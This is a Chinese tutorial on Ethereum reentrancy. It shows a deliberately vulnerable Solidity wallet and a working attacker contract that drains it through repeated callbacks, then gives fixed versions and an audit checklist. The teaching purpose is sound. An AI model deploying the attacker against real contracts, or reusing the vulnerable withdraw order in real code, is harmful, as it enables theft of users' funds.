一、重入攻击的现场还原(以太坊转账时的漏洞场景)
1.1 先看懂一个会被攻击的“漏洞钱包”
我们先写一个很简单的以太坊钱包合约,目的是让用户可以存ETH、提ETH,但这个合约有致命漏洞,代码示例用Solidity(版本0.8.17):
// 技术栈:Solidity ^0.8.17
// 漏洞合约:先转账再扣余额,是重入攻击的典型诱因
contract VulnerableWallet {
// 记录每个用户存了多少ETH
mapping(address => uint256) public userBalances;
// 存币函数:用户转ETH进来,直接记余额
function deposit() external payable {
userBalances[msg.sender] += msg.value;
}
// 提币函数:这里的顺序有问题,是攻击的入口
function withdraw() external {
// 1. 先拿到用户的余额
uint256 withdrawAmount = userBalances[msg.sender];
// 2. 先转ETH给用户(这是“交互操作”)
(bool transferSuccess, ) = msg.sender.call{value: withdrawAmount}("");
require(transferSuccess, "转账失败");
// 3. 再把用户的余额清零(这是“状态修改”)
userBalances[msg.sender] = 0;
}
}
这个合约看起来正常,但当恶意用户写一个特殊的合约来调用它时,就会出大问题。
1.2 恶意合约的攻击过程
攻击者会写一个专门的合约,在收到转账时“回调”漏洞钱包的提币函数,反复提钱。代码示例:
// 技术栈:Solidity ^0.8.17
// 攻击合约:利用漏洞钱包的顺序缺陷反复提款
contract MaliciousAttacker {
// 指向我们刚才的漏洞钱包
VulnerableWallet public vulnerableWallet;
// 部署时必须传入漏洞钱包的地址
constructor(address _vulnerableContractAddr) {
vulnerableWallet = VulnerableWallet(_vulnerableContractAddr);
}
// 攻击入口:攻击者调用这个函数启动攻击
function launchAttack() external payable {
// 1. 先给漏洞钱包转一点ETH,让自己有可提的额度
vulnerableWallet.deposit{value: msg.value}();
// 2. 触发第一次提币,这就会触发后续的回调
vulnerableWallet.withdraw();
}
// 漏洞钱包转ETH给我时,会自动执行这个函数(fallback/receive)
receive() external payable {
// 只要漏洞钱包还有ETH,就继续回调提币
if (address(vulnerableWallet).balance >= 1 ether) {
vulnerableWallet.withdraw();
}
}
// 把偷来的ETH转到攻击者自己的账户
function stealFunds() external {
payable(msg.sender).transfer(address(this).balance);
}
}
举个生活化的例子:漏洞钱包就像一个不做账的银行,你去取钱,银行先给你钱,再把你的账户余额改成0。你拿到钱后立刻返回银行,银行还没来得及改你账户的账,又给你转了一次,反复几次,银行的钱就被你全拿走了。
二、重入攻击的底层原理拆解
2.1 核心逻辑:转账顺序搞反了
漏洞的本质是**“先执行外部交互,再修改合约内部状态”**。以太坊的call函数(就是刚才转账用的msg.sender.call)会把控制权交给调用的外部合约,如果那个外部合约有特殊逻辑(比如上面的恶意合约),就会在转账完成后、合约内部状态(用户余额)更新前,再次调用提币函数,重复触发转账,直到合约没钱。
2.2 关联知识:以太坊的合约交互规则
以太坊里,当一个合约调用另一个合约的函数时,会先把钱(ETH)转过去,再执行对方的代码。如果对方的代码在转账触发的回调里又调用了原合约的函数,原合约的内部状态还没更新(比如用户余额还没清零),就会再次触发转账,这就是“重入”的由来——相当于同一笔交易多次进入同一个函数。
三、安全编码中的核心防御方法
3.1 最经典:Checks-Effects-Interactions模式
这是Solidity开发里的标准安全规范,顺序是:先做检查,再修改合约内部状态,最后做外部交互。把刚才的漏洞钱包改成安全版本:
// 技术栈:Solidity ^0.8.17
// 安全合约:遵循Checks-Effects-Interactions顺序
contract SafeWallet {
mapping(address => uint256) public userBalances;
function deposit() external payable {
userBalances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amount = userBalances[msg.sender];
// 1. Checks:先检查余额是否足够(这里虽然之前存过,但严格检查更稳妥)
require(amount > 0, "余额不足");
// 2. Effects:先修改内部状态(扣余额),这时候其他函数调用会看到更新后的余额
userBalances[msg.sender] = 0;
// 3. Interactions:最后再转账,这时候已经不可能再回调提币了
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "转账失败");
}
}
这个模式的优势是简单,不需要依赖外部工具,只要记住顺序就行,适合所有智能合约开发。
3.2 新手友好:用OpenZeppelin的ReentrancyGuard
如果怕写错顺序,可以用OpenZeppelin提供的安全库,它会给函数加一个“防止重入”的修饰符。代码示例:
// 技术栈:Solidity ^0.8.17
// 安全合约:用ReentrancyGuard库防重入
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract GuardedWallet is ReentrancyGuard {
mapping(address => uint256) public userBalances;
function deposit() external payable {
userBalances[msg.sender] += msg.value;
}
// 加上nonReentrant修饰符,这个函数同一时间只能被调用一次,避免重入
function withdraw() external nonReentrant {
uint256 amount = userBalances[msg.sender];
require(amount > 0, "余额不足");
userBalances[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "转账失败");
}
}
这个方法的缺点是会多一点gas消耗,但对于重要的合约(比如DeFi钱包、质押合约)来说,安全性更重要,这点消耗完全可以接受。
四、安全审计中的防御清单
4.1 代码层面的检查项
- 所有涉及转账的函数,有没有先改状态再转账?
- 有没有使用
transfer/send代替call?(注意:transfer会限制2300gas,要是回调函数逻辑复杂,会转账失败,反而容易出问题,不如按Checks-Effects写) - 合约有没有对
fallback/receive函数做限制?(比如不能在里面调用合约的核心功能)
4.2 依赖项的检查
- 用的第三方合约(比如OpenZeppelin)是不是最新稳定版本?旧版本可能有漏洞。
- 有没有自己写的“工具函数”涉及转账逻辑?比如批量转账,有没有顺序问题?
4.3 测试场景的补充
- 必须写重入攻击的测试用例,模拟恶意合约反复调用的情况,看合约会不会被掏空。
- 测试合约在极端情况下(比如转账失败、以太坊拥堵)的处理逻辑,会不会被攻击利用。
五、文章总结
重入攻击是智能合约里最常见的致命漏洞之一,核心原因就是开发时没有遵守“先改状态再交互”的顺序。不管是开发新手还是经验丰富的开发者,只要记住Checks-Effects-Interactions模式,或者用ReentrancyGuard,就能99%避免这类攻击。安全审计时,重点检查转账函数的执行顺序,模拟攻击场景,就能把这类漏洞扼杀在上线前。不管是做DeFi项目、个人钱包,还是其他以太坊应用,都要把重入攻击的防护放在第一位,毕竟一次攻击就可能导致项目归零。
评论
围绕“重入攻击现场完整还原:以太坊转账时被恶意合约反复回调的底层原理,以及安全编码与审计中的防御清单”参与讨论